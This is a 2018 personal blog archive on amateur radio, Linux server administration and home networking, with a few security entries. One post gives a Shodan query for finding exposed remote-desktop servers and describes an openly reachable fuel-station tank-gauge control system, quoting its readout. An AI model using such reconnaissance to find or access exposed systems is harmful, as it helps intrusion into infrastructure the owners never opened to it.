News archive 2018 - Koos van den Hout

The author of GcmWin for Linux responded quickly to my report of being unable to install gcmwin after installing a new Linux version and made a new version available which does run fine on Ubuntu 18.04. Again my thanks to Roger Hedin SM3GSJ for making GcmWin available.

On reinstalling thompson I was not sure whether to pick ubuntu (with lots of package support for amateur radio) or devuan (without systemd). I chose ubuntu to keep access to lots of amateur radio packages but as expected the first systemd problem already got me. Names in the internal network with RFC1918 addresses weren't resolvable.

After some searching I found out systemd-resolved had decided the last nameserver advertised via IPv6 was the one to use. As I could not find a lot of information on how to do the ordering I just decided to kick it all out and switch to normal resolving. Some searching found How to disable systemd-resolved in Ubuntu? - ask ubuntu which has the right steps. Back to somewhat normal, the next step is to convince NetworkManager to use IPv6 resolving before IPv4.

Normally, radio signals travel in a straight line and refraction in the ionosphere only happens on relatively low frequencies (below 30 MHz).

Signals in the 2 meter band (144-146 MHz) don't get refracted in the ionosphere, they just leave earth. But in certain weather conditions with stable high-pressure areas layers can form that reflect these signals back to earth or create ducts in the air where the radio signals travel along the surface for much bigger distances than normal.

For Christmas 2018 there was some troposperic ducting predicted on William Hepburn's Worldwide Tropospheric Ducting Forecast. This site forecasts ducting areas based on predicted weather patterns.

To see the actual distances seen in radio contacts I check VHF propagation map based on APRS reception which uses input from APRS messages with location data received at other sites to find long distance contacts. During the Christmas festivities I checked that site from time to time and saw the big distance signal reports mostly over France, slowly creeping North.

So on 25, 26, 27 and 28 December I ran the radio when possible on 2 meter FT8 and got some new distance records and some new gridsquares in the log. New distance record: 639 kilometer to G4RRA. Several other new calls in the log, some new gridsquares. When visiting the qrz pages of those calls I usually see serious setups with directional antennas so they all do the hard work transmitting in my direction and decoding my signal.

This is all still with the 'simple' vertical for 2m/70cm: a Diamond X-300N on the roof. I wonder what I can do on a good day with a directional antenna and a rotor.

As mentioned in New 2 meter distance: 506 kilometers I was still running the old wsjt-x because a newer version requires a newer Linux environment. With a bit of time in the christmas holidays available and more and more things depending on this upgrade I ordered a new disk from Azerty so the reinstallation would be easier. The old linux installation on the radio workstation was several Ubuntu versions old, it was still a 32-bit installation because of earlier hardware compatibility issues and something in D-Bus communication gave lots of errors at bootup, so I expected another upgrade to give me an unavailable system.

The new disk came faster than expected, and I did an install with Xubuntu because I'm ok with the Xfce environment.

One problem is back: the system starts with the two monitors swapped and after the screensaver kicks in the monitors somehow end up in mirrored mode.

And Gcmwin for linux failed in the upgrade since it depends on older libraries. Already reported to the author.

Lots of upgraded software, the most important ones in amateur radio are CQRLOG which showed the well-known MySQL problems until I used the version from the CQRLOG ppa. Everything now works fine and all the earlier confirmations of PSK contacts have been imported. And the trigger that all started this upgrade WSJT-X has been upgraded using the WSJTX General Availability Release ppa.

Today I had a listen on the 2 meter band with FT8 from wsjt-x 1.9.1, which is currently the near-ancient version but I can't upgrade yet (wsjt-x 2.0.0 requires newer Qt libraries which require a newer linux environment).

But I decoded some signals including a new callsign from Germany. It's always nice to work a new callsign so I answered it and the contact was made after a few tries. Only when I checked the gridsquare and the map I saw that DK1FG is a new 2 meter band distance record for me : 506 kilometers. Looking at that qrz page makes clear why that was possible: on that end 8 stacked 12 element antennes are available for 2 meter DX.

Update 2018-12-21: I just saw wsjt-x packages for other ubuntu versions are available in the WSJTX General Availability Release ppa but the 'oldest' Ubuntu version supported is Ubuntu 16.04.5 LTS 'Xenial'.

Ik kreeg een mail zoals deze Afpersingsmail: Bedreiging voor uw veiligheid! ***@*********.nl is gecompromitteerd. - Fraudehelpdesk.

De tekst leest kwa stijl of de auteur niet echt Nederlands kent en deels hulp heeft gehad van een automatische vertaling of van meerdere mensen die stukjes vertaald hebben.

Het volgen van het bitcoin adres in het mailtje (deels gemaskeerd bij fraudehelpdesk) levert een interresant beeld op: dit levert blijkbaar wel wat op. Als ik de bitcoin rekening opzoek op Bitcoin Address 1PRUG1TrBWKLpvMJYfYXhZVSDagSySqXuz zie ik diverse bijschrijvingen in de afgelopen twee dagen en een afschrijving. De eerste drie bijschrijvingen lijken erg op betalingen in de buurt van de genoemde 35 euro. Maar als ik diep in de transacties duik zonder enige voorkennis van bitcoin zie ik allemaal verwarrende dingen.

Opvallend is wel dat dezelfde wallet dus op meer plekken genoemd is. Daarmee is het traceren van degene die betaald heeft onmogelijk, waardoor het verhaal in de afpersingsmail ook compleet ongeldig is.

Or in short: Perl considered harmful

I want applications to use and prefer IPv6 whenever possible, so I have a /etc/resolv.conf with IPv6 addresses of the nameserver(s) listed first. But I noticed queries from the spamassassin processes still coming in over the legacy IP protocol. Even when listing them in order in /etc/spamassassin/local.cf spamassassin prefers IPv4. And I want it to prefer IPv6 without leaving out IPv4. I like the redundancy but I want to change the preference. Also: I only want to maintain the list of nameservers in /etc/resolv.conf and not in other locations.

I wrote a simple test program to understand what the perl Net::DNS::Resolver is doing. With a standard test program like:

#!/usr/bin/perl -wT

use strict;
use Net::DNS;
my $resolver = new Net::DNS::Resolver();

print join ' ', $resolver->nameservers();

print "\n";

The IPv4 addresses will be listed first, independent of the order in /etc/resolv.conf. Only after changing to:

#!/usr/bin/perl -wT

use strict;
use Net::DNS;
my $resolver = new Net::DNS::Resolver();
$resolver->prefer_v6(1);

print join ' ', $resolver->nameservers();

print "\n";

I will see the IPv6 resolver listed first. But now to convince spamassassin to do the same. Browsing the Net::DNS::Resolver shows the RES_OPTIONS="inet6" option but does not document it. This option confuses spamassassin when starting:

export RES_OPTIONS="inet6"

root@gosper:/etc/default# service spamassassin restart
Restarting SpamAssassin Mail Filter Daemon: Bad arg length for NetAddr::IP::Util::mask4to6, length is 128, should be 32 at /usr/lib/x86_64-linux-gnu/perl5/5.24/NetAddr/IP/Lite.pm line 647.
Compilation failed in require at /usr/lib/x86_64-linux-gnu/perl5/5.24/NetAddr/IP.pm line 8.
BEGIN failed--compilation aborted at /usr/lib/x86_64-linux-gnu/perl5/5.24/NetAddr/IP.pm line 8.
Compilation failed in require at /usr/share/perl5/Mail/SpamAssassin/Util.pm line 70.
BEGIN failed--compilation aborted at /usr/share/perl5/Mail/SpamAssassin/Util.pm line 70.
Compilation failed in require at /usr/share/perl5/Mail/SpamAssassin/Conf.pm line 85.
BEGIN failed--compilation aborted at /usr/share/perl5/Mail/SpamAssassin/Conf.pm line 85.
Compilation failed in require at /usr/share/perl5/Mail/SpamAssassin.pm line 71.
BEGIN failed--compilation aborted at /usr/share/perl5/Mail/SpamAssassin.pm line 71.
Compilation failed in require at /usr/sbin/spamd line 240.
BEGIN failed--compilation aborted at /usr/sbin/spamd line 240.

So that was a bad idea and is not the answer. Looking at the resolv.conf manpage shows that the option indeed does different things which explains why that was wrong.

  inet6  Sets RES_USE_INET6 in _res.options.  This has the
		 effect of trying an AAAA query before an A query inside
		 the gethostbyname(3) function, and of mapping IPv4
		 responses in IPv6 "tunneled form" if no AAAA records
		 are found but an A record set exists.  Since glibc
		 2.25, this option is deprecated; applications should
		 use getaddrinfo(3), rather than gethostbyname(3).

So if I want perl programs to do what I want, I have to change every one of them to set $resolver->prefer_v6(1);. There is no sane default or a global "get into the 21st century" flag.

Changing /usr/share/perl5/Mail/SpamAssassin/DnsResolver.pm to include $res->prefer_v6(1); does help, but will need to be redone when updating spamassassin.

On 25 december 2004 there was a special deal giving me the .info names camp-wireless.info and campwireless.info for free for the first year. Since that moment I kept the names registered and redirected all web traffic to the right version: https://www.camp-wireless.org/. So the deal worked from a 'selling domain names' perspective: Christmas is a bad moment to review the need for domain names, so the easy solution is to renew it. My decision to stop with these names was made in January 2018.

Traffic to the .info versions is very minimal. With the cost of the domain registration I decided to stop doing that and devised an exit strategy which would result in a domain name that attracts no traffic and is not linked to my other webprojects. On the next renewal date the domain will expire. I have done this before in a different context: when we ended the students personal webspace at www.students.cs.uu.nl.

The solution is to start returing HTTP state 410 Gone for search engines while at the same time returning a somewhat user-friendly error page.

Relevant bit of apache 2.4 configuration:

<VirtualHost *:80>
    ServerName www.camp-wireless.info
    ServerAlias www.campwireless.info
    ServerAlias camp-wireless.info
    ServerAlias campwireless.info

	DocumentRoot /home/httpd/campwireless-expire/html

    <Directory "/home/httpd/campwireless-expire/html">
        Require all granted
    </Directory>

    RewriteEngine On
    RedirectMatch 410 ^/(?!gone.html|robots.txt)
    ErrorDocument 410 /gone.html
</VirtualHost>

The gone page is simple: It has an explanation for human visitors and a meta refresh tag to redirect the browser eventually. But to a search engine the status 410 on almost any url will give a clear flag the page is gone and should be flushed from the cache.

Today I had a day off to arrange some stuff and found some time for amateur radio. I decided to put the longwire antenna outside and use the tuner to get on different bands than the standard 10/20/40.

So I was active at a strange time (during a working day) on a band I haven't been active on in months. Soon I saw signals from C5YK who is in The Gambia. After several tries I made the contact and had a new country in the log.

I also tried a lot of times to contact a station from Rodrigues Island but they never heard me.

The old rsi problem was acting up again, just like I had RSI in 1999.

One of the things I now did was add a left-side mouse on the linux desktop at home. I have used a left-side mouse for a number of years on a linux desktop and used the instructions from the xmodmap manpage:

       Many  pointers are designed such that the first button is pressed using
       the index finger of the right hand.  People who  are  left-handed  fre‐
       quently  find  that  it is more comfortable to reverse the button codes
       that get generated so that the primary  button  is  pressed  using  the
       index  finger  of  the  left  hand.   This  could be done on a 3 button
       pointer as follows:
       %  xmodmap -e "pointer = 3 2 1"

But I now have two USB mice, one with a forward/backward button and a clearly right-handed design and one simple one on the left. And it is possible to selectively swap mouse buttons on only one input device with xinput.

The list of all inputs:

koos@thompson:~$ xinput list
⎡ Virtual core pointer                          id=2    [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)]
⎜   ↳ Logitech USB-PS/2 Optical Mouse           id=9    [slave  pointer  (2)]
⎜   ↳ Logitech Optical USB Mouse                id=10   [slave  pointer  (2)]
⎣ Virtual core keyboard                         id=3    [master keyboard (2)]
    ↳ Virtual core XTEST keyboard               id=5    [slave  keyboard (3)]
    ↳ Power Button                              id=6    [slave  keyboard (3)]
    ↳ Power Button                              id=7    [slave  keyboard (3)]
    ↳ Burr-Brown from TI               USB Audio CODEC  id=8    [slave  keyboard (3)]
    ↳ VIA Technologies Inc. USB Audio Device    id=11   [slave  keyboard (3)]
    ↳ daskeyboard                               id=12   [slave  keyboard (3)]
    ↳ daskeyboard                               id=13   [slave  keyboard (3)]
    ↳ Dell WMI hotkeys                          id=14   [slave  keyboard (3)]

Setting the button order happens with xinput set-button-map which needs an ID. Solution in .xsession:

xinput set-button-map $(xinput list --id-only "Logitech Optical USB Mouse") 3 2 1

Oh, and in that other operating system I use (Windows) one of the problems is the user can't set mouse button order per device. And technical specifications of left-handed mice do not list whether the buttons are swapped in hardware.

This weekend I had some time and energy to power up the amateur radio set and trying to get interesting contacts. All in FT8 digital mode as the local interference levels are high. I do my voice contacts at the radio club or out in the field.

This Saturday I managed to make a contact with 5T2AI on Mauritania, a new country in amateur radio for me. At first the other station did not receive me but using the power amplifier helped to make the contact.

I also did a lot of attempts to get a contact with the current radio expedition to Rodriguez Islands but failed.

I noticed certain commands taking a while to start, including a simple ls. At last I got annoyed enough to diagnose the whole situation and found out the problem is the combination of symbolic links in the listed directory pointing to filesystems behind automounter, one mounted filesystem coming from a NAS with sleeping disk and ls --color doing a stat() on the target of a symbolic link to find the type of the target file to be able to select a colour.

My solution: find the source of the alias and disable it.

Remember the twitter #! hashbang urls? I'd rather not. Those URLs were active from 2010 to 2012 and have been eliminated. But I got reminded today as it seems they are now silently failing. I checked the archive of my own website to fix all those links.

I try to keep all old URLs working. Unless the content completely goes away.

I bought the iRiver ifp-795 in May 2005 to listen to podcasts, mostly while cycling to and from work.

But I need to find time to download new episodes on the laptop and copy them in the right order to the storage of the mp3 player. There is an another device which can do all this and can play the mp3 files too: my android smartphone.

So I looked for an Android podcast player which can deal with podcast feeds not in its own directory. After reading an overview article and browsing the play store I found RadioPublic and managed to add my favourite podcasts.

Adding a feed it didn't know was a bit harder than expected. I want to listen to The ICQ Amateur / Ham Radio Podcast but it wasn't listed. So I tried to add the RSS feed myself by typing the URL which failed. Adding it only worked out after I opened the RSS feed in my browser on android and copied and pasted the url to the 'search' field.

The application has a nice playlist and I can order the downloaded episodes in such a way that I don't get several episodes from the same show in a row.

Ok, I found one downside: it seems impossible to add an mp3 downloaded via the browser to the RadioPublic playlist.

Gisterenavond dus toegekomen aan het vervangen van het vdsl modem na de eerdere storing en ineens viel me wat op in de ping stats: tijdens het gebruik van de fritzbox was de round trip tijd lager en stabieler, de uitschieters naar boven komen dus puur van de vdsl laag. De fritzbox zet de interleave uit (fast/fast), de huidige modemdriver in de vigor op fast down en interleaved up.

Misschien toch eens een andere vdsl driver proberen op de vigor.

Er was een stroomstoring afgelopen dinsdag. Ik ontdekte dat op een hele typische manier: ik werd wakker voor de tijd van opstaan, wat me wel vaker overkomt en ik wilde op de wekker kijken maar die was donker.

Uiteindelijk was de stroomstoring van 06:23 tot 08:07, in een aardig gebied rondom ons huis. Helaas was er in de ochtenddrukte geen tijd om te testen wat het gevolg van deze uitval was voor het storingsniveau op de amateur radio HF banden.

Sinds woensdagmiddag hikt de VDSL verbinding. Op het VDSL modem lijkt alles prima in orde, maar toch hapert verkeer erg regelmatig.

Ik laat mtr lopen en ik zie ineens een patroon ontstaan:

                             Last  50 pings
 1. 124.ae0.xr4.1d12.xs4all. ..................................................
 2. 0.ae1.dr12.d12.xs4all.ne ..................................................
 3. outgate.idefix.net       b23.....>b3b22...>c3b22.....>b3b22...>c3b22.....?
 4. 2001:980:14ca:1::23      b11.....>b1b.1...>b2b.1.....>b1b.....>b2b11.....?

Scale:  .:38 ms  1:154 ms  2:347 ms  3:616 ms  a:963 ms  b:1387 ms  c:1888 ms  >

Blijkbaar is eens in de 9 of 11 seconden er een vertraging gedurende 5 seconden. Tijd voor een rondje diagnose. De eerste verdachte is het vdsl modem, want het vdsl modem zelf benaderen hikt ook met dezelfde regelmaat. Volgens de switch waar het modem aanzit is er op ethernet niveau niets mis.

Toevoeging: Na een herstart functioneerde het VDSL modem helemaal niet meer. Het lijkt er op dat het slachtoffer geworden is van de stroomstoring van dinsdagmorgen. Er is een nieuwe onderweg. Het VDSL modem is ouder dan 2 jaar, dus daar zit zeker geen garantie meer op.

Op dit moment werkt de verbinding naar buiten met het Fritz!box 7360v1 modem van xs4all. Met de nodige IPv4 portforwards zijn diverse zaken in ieder geval weer bereikbaar over IPv4 en kunnen we over IPv4 naar buiten.

From time to time I check whether eQSL has new incoming confirmations for PD4KH contacts. Recently I found one for a contact that goes way back, and it was before I used a linux radio logging program so I did not have the details stored in my logging program. But my website still has those details: Vanavond vanuit de achtertuin contact met PI4HAL via repeater PI3UTR.

It turns out PI4HAL decided to stop sending out paper cards and started using eQSL. I guess they uploaded all old logs.

I do remember the contact and being nervous about actually talking "on the air" and finding my turn between other callers to that station.

This was a trigger for me to check my old logs and make sure I upload things correctly to ARRL Logbook of The World including the few satellite contacts.

Oh and I never started using hrdlog as PE4KH. It did not add a lot for me.

One of the things still needing migrating is the NTP server stats which obviously uses rrdtool. Because I want to keep the history I migrated the datasets with:

/usr/local/rrdtool/bin/rrdtool dump ntpvals-stardate.cs.uu.nl.rrd \
| ssh newhost /usr/bin/rrdtool restore -f - ntpvals-stardate.cs.uu.nl.rrd

And then create a graph of the plloffset for example using:

/usr/bin/rrdtool graph /tmp/plloffset-stardate.cs.uu.nl-24hours.png \
--title "stardate.cs.uu.nl pll offset (last 24 hours)" --imginfo \
'<img src="tmpgraphs/%s" WIDTH="%lu" HEIGHT="%lu" alt="Graph">' \
--start -24hours --end now --vertical-label="Seconds" --color BACK#0000FF \
--color CANVAS#c0e5ff --color FONT#ffffff --color GRID#ffffff \
--color MGRID#ffffff --alt-autoscale --imgformat PNG --lazy \
DEF:offset=ntpvals-stardate.cs.uu.nl.rrd:plloffset:AVERAGE \
CDEF:wipeout=offset,UN,INF,UNKN,IF CDEF:wipeoutn=wipeout,-1,* \
LINE1:offset#000000:"Offset\:" \
GPRINT:offset:LAST:"Current\:%.3lf%s" \
GPRINT:offset:MIN:"Min\:%.3lf%S" \
GPRINT:offset:MAX:"Max\:%.3lf%S" \
GPRINT:offset:AVERAGE:"Average\:%.3lf%S" \
AREA:wipeout#e0e0e0 AREA:wipeoutn#e0e0e0

But on the old server this takes 0.026 seconds, on the new server 3 minutes and 47.46 seconds. No idea what is happening, strace shows nothing strange and rrdtool uses 1 cpu at 100% all that time.

My amateur club Veron A08 call PI4UTR has a really good clubstation with multiple nice antennas. In an environment with a lot less interference than I have at home.

Last Tuesday I used the clubstation to make a few connections and got some nice calls in the log, adding two new countries. VP8LP on the Falkland Islands and CE2ML in Chili.

I use the logcheck package to monitor for unexpected log entries. Since upgrading to the new homeserver conway I noticed DNSSEC failures coming back regularly, even at weird times of the night while the domain names seemed related to services we sometimes interact with during the day. To search deeper I enabled query logging on DNS (with a short retention period) in order to find the source.

Eventually I found it: the DNSSEC failures came at the time the mail from logcheck was delivered, because it mentioned domain names that cause a DNSSEC failure. So the way to 'fix' this problem and avoid similar other problems was to whitelist logcheck mail.

Update 2018-10-05: That only helps when enabling the Mail::SpamAssassin::Plugin::Shortcircuit plugin and enabling the USER_IN_WHITELIST shortcircuit.

Update 2018-10-07: Even with whitelist and shortcircuit I still see queries for domain names in the logcheck mails. Call to spamassassin is now changed...

Now, once again...this time with FEEwing

This morning I was looking on shodan for open remote desktop servers in the work network since RDP was mentioned as an attack vector in the latest GANDCRAP ransomware.

Searching for '3389' on shodan found something completely different: an open industrial control system (ICS) for tankstation gauges.

IN-TANK VOORRAAD        

TANK PRODUCT             VOLUME TC VOLUME   VULVOL   HOOGTE    WATER     TEMP
  1  UL 98                 9757      9693    10283    939.2      0.0    20.09
  2  EURO                 2...

According to The Internet of Gas Station Tank Gauges -- Take #2 - Rapid7 this was already a reported issue in January 2015 and according to their research it may be possible to do bad things with this access.

The above is from a gas station I can find on google maps.

Oh I found the way to search for open remote desktop servers on shodan: port:3389.

So for months and months I had hardware ready for the new homeserver, I was testing bits and pieces in the new environment and I still did not get around to making the big bang. Part of the time the new system was running and using electricity.

And a few weeks ago I had time for the big bang and forgot to mention it!

So one free day I just did the last sync of homedirectories and started migrating all services in a big bang. No more but, if, when, is it done yet. It's a homeserver, not a complete operational datacenter. Although with everything running it sometimes does look that way!

The new setup, more completely documented at Building - and maintaining home server conway 2017 is now running almost all tasks. The main migration was homedirectories, mail, news, webservers. Things are now split over several virtual machines and the base virtual machine running kvm virtual machines is as minimal as possible.

One thing I just noticed is that the new virtual machine with pppoe kernel mode drivers and updated software is doing great: the bigger MTU is working by default and kernel mode pppoe does not show up as using CPU when a 50 mbit download is active. I looked at CPU usage with htop and at the network traffic with iptraf and the result was that iptraf was using the most cpu.

There are still some things left to migrate, including a few public websites that currently give 50x errors. But I will find the time eventually.

In Maart 2018 begonnen er werkzaamheden aan de fietspaden rond het Eykmanplein. Er stond toen een bordje bij het fietspad over 'enige verkeershinder'. Ondertussen zijn we zes maanden verder en is er nog steeds behoorlijk veel verkeershinder voor mij als fietser.

Vandaag was een nieuw record, door het tegelijk uitvoeren van twee projecten moet ik nu met de fiets 3 keer de Kardinaal de Jongweg oversteken met iedere keer wachttijden voor verkeerslichten en een paar extra haakse bochten en krappe plekken.

Mijn normale route is dat ik uit de Professor J.W. Dieperinklaan kom, rechtsaf het fietspad langs de Eykmanlaan neem, dan op het Eykmanplein eerst de Kardinaal de Jongweg en daarna de Blauwkapelseweg oversteek, vervolgens over de Van Esveldstraat fiets en dan de route vervolg met het fietspad langs de Kardinaal de Jongweg.

Ingetekend op een OpenStreetMap kaartje: mijn normale route rond het Eykmanplein. In deze route rij ik op fietspaden aan de rechterkant van de weg en heb ik geen scherpe bochten en lastige opstoppingen.

De werkzaamheden van het project fietsroute Overvecht-Utrecht Science Park zijn dus in Maart 2018 begonnen. Dat begon aan de Pieter Nieuwlandstraat waardoor het niet meer mogelijk was normaal om de rotonde te rijden. Dan maar de Eykmanlaan oversteken na een scherpe hoek en uiteindelijk pas bij de Jan van Galenstraat oversteken.

Ingetekend op hetzelfde kaartje: de eerste omleiding rond het Eykmanplein. Met rood aangegeven waar ik blokkades tegenkwam.

De Van Esveldstraat is maar kort weer open geweest nadat ik weer langs die kant om het Eykmanplein kon, daarna ging alles daar weer open.

Vandaag kwam er nog bij dat de Eykmanlaan opengebroken werd vanwege het project Opnieuw inrichten Eykmanlaan.

In de planning van dit project is ingetekend dat er oversteekmogelijkheden blijven voor fietsers en voetgangers op de Eykmanlaan. Alleen waren die vandaag niet uitgevoerd, er staat nu een hek langs de zijkant van de Eykmanlaan om dat oversteken compleet onmogelijk te maken.

De fietsroute zoals deze nu uitkomt ingetekend op het kaartje: de dubbele omleiding rond het Eykmanplein. Met ook in rood de blokkades.

I still like running sendmail on my own systems. But sendmail evolves with time and my configuration does improve slightly sometimes, such as on the introduction of authenticated smtp with secondary passwords.

After the recent upgrades to the home server there is a new mail server with some other new details and suddenly other systems at home could not relay. A bit of searching found Best practice: sendmail and SMTP auth with the right flags for the DAEMON_OPTIONS to only offer authentication on port 587 (submission).

I noticed the local systems tried relaying via port 587 so I changed this to port 25 where IP-based relaying is allowed. No idea why I set this up to use the port 587 when I set it up previously.

And yes, I checked it, I started with sendmail in 1993, so 25 years of sendmail on port 25. I did start with writing my own sendmail.cf rules but I switched to .mc based configurations.

The work laptop is now "upgraded" to Windows 10. I wasn't sure about it as I saw Windows 7 as less annoying but it's the corporate choice.

And after I changed the password for my eduroam wifi-account it just gives an error and does not connect to the wireless network. The obvious choice to show the option to enter a new password does not pop up (unlike Android which came with that suggestion right away). Even the "network troubleshooter" doesn't come with the source of the connection problem let alone the obvious solution.

The Windows 10 "solution" is to just forget the network and discover it again. I'm glad this isn't a network where I need special options and a certificate to log in.

With some systems constantly running screen and others not I started to get confused. Solution: change the visual indications in the prompt inside screen.

I decided to just change the username color in PS1 when I'm in screen. So now:

PS1='${STY:+\[\e[1;36m\]}\u${STY:+\[\e[0m\]}@\h:\w\$ '

In bash, ${STY:+..} gives output when shell variable STY is set. So I add the color set/unset commands to the prompt when STY, a typical screen variable is set. The result is dark cyan, a color that works (for me) on my normal light-grey background xterm/putty sessions.

Oh, and for root things are different:

PS1='\[\e[1;91m\]\u@\h\[\e[0m\]:\w\$ '

Which gives a light red user@hostname.

In the above \e causes an escape to be printed. Wrapping parts of the prompt between \[ and \] causes bash to ignore those for counting the length of the prompt so it doesn't get confused on redrawing the prompt when editing the commandline.

Samples of colours and other formatting at FLOZz' MISC » bash:tip_colors_and_formatting.

Two (at this moment) long outages in the last two days without VDSL link which makes it look like the VDSL service was out completely (no sync at all). A telecom engineer busy in the local wire cabinet? Some other outage?

Outages:

• Thursday 13 september 17:01 - 18:23
• Friday 14 september 13:59 - 15:48

Update: and another

• Monday 17 september 10:07 - 11:46

Called the xs4all customer service. They couldn't find any planned or unplanned work but did see the same outages on my line that I saw. The person on the phone was quite baffled too by this behaviour. The first cause to eliminate this is to really powerflip the modem, when that does not help replace it temporarily with a known-good modem (the Fritz!box 7360v1 which I still have).

Update: interruptions haven't happened since my call to xs4all.

According to this article: Students blamed for university and college cyber-attacks - BBC News the new pattern is that attacks on IT systems in higher education happen in active times in education.

Interesting quote (for me):

There was a very sharp decline in attacks in the Christmas, Easter and summer breaks and during half-terms - with attacks rising again sharply when terms resumed.

I remember starting in system administration and learning quickly that the Christmas holidays period was the busiest period in attempts to break in to computer systems all over the world. This was simply explained by the fact that the Christmas holidays are the most universal school holiday in the world and all the teenage hackers had time to play with computers, modems and networks.

The HF linear amplifier I bought had one missing link: the control cable to signal when to start transmitting.

I first looked for such a cable at Hamshop but the cable was not available anymore. Further searching found the right cable at 8 pin linear amp switching cable for Yaesu FT-817 FT-857 FT-891 FT-897 FT-991 - TechnoFix UK and ordered it. It came in, so time to test it in the upcoming weekend.

After the SCC RTTY contest in August I decided to plot the number of amateur radio contacts again. Clearly visible are months with contests I participate in. And the influence of the summer holiday.

before, before, before

I want to measure network traffic so I decided to copy most of my rrdtool setup from the old home server.

But with virtio network cards I have a confused snmpd:

IF-MIB::ifDescr.1 = STRING: lo
IF-MIB::ifDescr.2 = STRING: Red Hat, Inc Device 0001
IF-MIB::ifDescr.3 = STRING: Red Hat, Inc Device 0001
IF-MIB::ifDescr.4 = STRING: Red Hat, Inc Device 0001
IF-MIB::ifDescr.5 = STRING: dummy0
IF-MIB::ifDescr.6 = STRING: dumhost
IF-MIB::ifDescr.7 = STRING: dumdh6

Fix: go for the IF-MIB::ifName snmp variables, found in oid 1.3.6.1.2.1.31.1.1.1:

IF-MIB::ifName.1 = STRING: lo
IF-MIB::ifName.2 = STRING: eth0
IF-MIB::ifName.3 = STRING: eth1
IF-MIB::ifName.4 = STRING: eth2
IF-MIB::ifName.5 = STRING: dummy0
IF-MIB::ifName.6 = STRING: dumhost
IF-MIB::ifName.7 = STRING: dumdh6

Those are easier to discern, now my snmp scripts are gathering data again.

Outdoor radio, picture by PA5Z

Last Friday I had time available for outdoor radio and the weather prediction looked nice. Fellow radio amateur PA5Z had time available too and joined me. We cycled to the local park and found a nice spot for some radio, complete with a bench available to sit and run the radio.

First decision was which band, because changing the band after raising the linked dipole means having to take it all down again. It was a tough decision between 40 and 20 meters, both looked not too promising. We decided on 40 meters.

I also extended the mast and tie-wrapped the balun of the linked dipole to the mast (three segments below the top) before getting the mast upright. This worked nicer for me on an earlier setup. The downside is that we had to be very careful in where the guy-wires and the dipole wires are around the fiber mast to avoid tangled lines and twists. And the right way to lengthen the mast is twisting the segments to lock them together.

With two people it is a lot easier to get the mast straight and it looked very nice. Soon contacts were made, but after a few tries I received a report that the audio sounded like I had RF interference. I heard this remark before at the end of my testing the mast at Trintelhaven and this time I found out what the problem was: the lead-acid battery I was using was running low and when the voltage drops from 12.0 to 9.6 volts on transmitting the output gets distorted. The fix was to lower the output power, a local radio amateur who we contacted was willing to help test this and confirm my theory that the drop in voltage was causing distortion.

Eventually it started to rain a bit, the batteries started to get depleted even at lower power and we decided it was time to pack up and go back home.

A nice day for radio, I ordered a new battery to replace the failing ones and I'll be doing this again some day!

As planned and prepared for I participated in the SCC RTTY contest this weekend. I was aiming for 100+ contacts but due to local interference and not very cooperating propagation those did not happen. In the end I made 83 contacts, 2 on the 40 meter band and 81 on the 20 meter band. I entered in the 'single operator 20 meter' category which was the most fitting for me. That does mean the 2 40 meter contacts only count for log checking.

Interesting things that happened: I got YV5AAX in the log. This has happened before in RTTY contests. But I do see YV5AAX from time to time in FT8 but never made a contact in that mode. I guess the station uses different antennas for contests. I also worked several US stations but I don't think those have resulted in a new US state for my statistics.

The new amplifier was working fine although I noticed the fan control and fan in the power supply stopped completely when I transmitted RTTY in the 10 meter band. This was not a very big problem this time as there was no propagation at all on that band. But it will have to be fixed before the next contest.

With this amount of power I can work almost all stations that I can decode. That is a nice improvement!

Today I set up the fiber mast against the back fence of our yard and used it to raise the endfed wire antenna as a vertical, with the coil between the 10/20 meter and 40 meter parts of the wire a few segments beneath the top of the fibermast.

This works ok. Interference on the 10 meter band is nearly gone, interference on the 20 meter band is about the same. What is also interesting is that this setup gives more balanced results on the pskreporter map. With the endfed antenna from the roof to the end of the garden the results are that most of what I receive is to the east of me. With the fibermast and the endfed as a vertical the reception is more balanced and I see more North and South America.

There is a downside: with even the slightest bit of wind the top of the fibermast starts to move a bit much. So to keep this setup safe for a weekend I would need to do something with guy wires.

Since activating sendmail authentication with secondary passwords I see a number of attempts to guess credentials to send mail via my system. This is not very surprising, given the constant attack levels on the wider Internet.

For work I am looking at log correlation and monitoring and with that in mind I noted that finding the right information from sendmail where and when the attempt came from is quite hard since there are several processes busy and it's hard to correlate the logging. The failed attempt is logged by saslauthd in /var/log/auth.log:

Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): check pass; user unknown
Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Aug 16 12:28:59 greenblatt saslauthd[32648]: do_auth         : auth failure: [user=monster] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error]
Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): check pass; user unknown
Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Aug 16 12:29:02 greenblatt saslauthd[32649]: do_auth         : auth failure: [user=monster] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]

This is probably related to this sendmail log information:

Aug 16 12:28:56 greenblatt sm-mta[20716]: STARTTLS=server, relay=62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged), version=TLSv1/SSLv3, verify=NO, cipher=DHE-RSA-AES256-SHA, bits=256/256
Aug 16 12:29:02 greenblatt sm-mta[20716]: w7GASspx020716: 62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged) did not issue MAIL/EXPN/VRFY/ETRN during connection to MSP-v6

But I can't be sure as there are multiple 'did not issue MAIL/EXPN/VRFY/ETRN' messages in the logs. So I can't build a fail2ban rule based on this.

This evening I tried several things to improve my chances of actually receiving anything other than the loudest stations in the upcoming SCC RTTY contest.

First try was with a borrowed receive loop indoor and using an HF upconvertor, an rtl-sdr dongle and gqrx as receiving software. This did not work for digital modes: letting wsjt-x (FT8 software) 'listen' to the audio output of gqrx gave no decodes.

Interesting detail: looking at the right piece of spectrum for FT8 showed that the frequency wasn't 100% stable, with frequencies slowly changing. Touching the rtl-sdr gave a bump in frequency.

Another attempt was with the loop indoor and reception on the FT-857D radio. Reception of a strong SSB station seemed somewhat better on the loop, but I heard no improvement of weaker stations.

